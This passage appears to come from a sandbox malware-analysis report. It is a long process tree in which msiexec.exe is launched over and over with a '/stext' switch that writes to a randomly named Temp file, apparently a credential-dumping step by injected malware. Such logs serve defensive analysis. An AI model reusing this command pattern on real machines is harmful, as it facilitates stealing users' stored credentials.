    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7200
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7208
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7216
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7224
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7232
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7240
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7248
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7256
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7264
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7272
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7280
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7288
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7296
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7304
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7312
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7320
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7328
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7336
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7344
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7352
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7360
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7368
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7376
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7384
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7392
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7400
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7408
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7416
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7424
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7432
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7440
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7448
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7456
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7464
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7472
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7480
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7488
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7496
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7504
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7512
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7520
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7528
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7536
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7544
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7552
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7560
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7568
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7576
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7584
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7592
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7600
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7608
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7616
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7624
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7632
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7640
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7648
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7656
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7664
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7672
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7680
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7688
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7696
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7704
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7712
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7720
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7728
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7736
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7744
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7752
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7760
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7768
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7776
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7784
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7792
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7800
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7808
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7816
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7824
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7832
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7840
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7848
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7856
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7864
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7872
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7880
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7888
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7896
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7904
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7912
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7920
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7928
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7936
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7944
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7952
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7960
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7968
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7976
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7984
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7992
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8000
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8008
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8016
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8024
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8032
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8040
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8048
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8056
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8064
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8072
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8080
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8088
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8096
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8104
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8112
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8120
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8128
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8136
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8144
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8152
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8160
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8168
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8176
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8184
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:7732
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:6520
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8200
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8208
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8216
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8224
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8232
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8240
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8248
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8256
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8264
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8272
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8280
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8288
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8296
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8304
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8312
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8320
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:8328
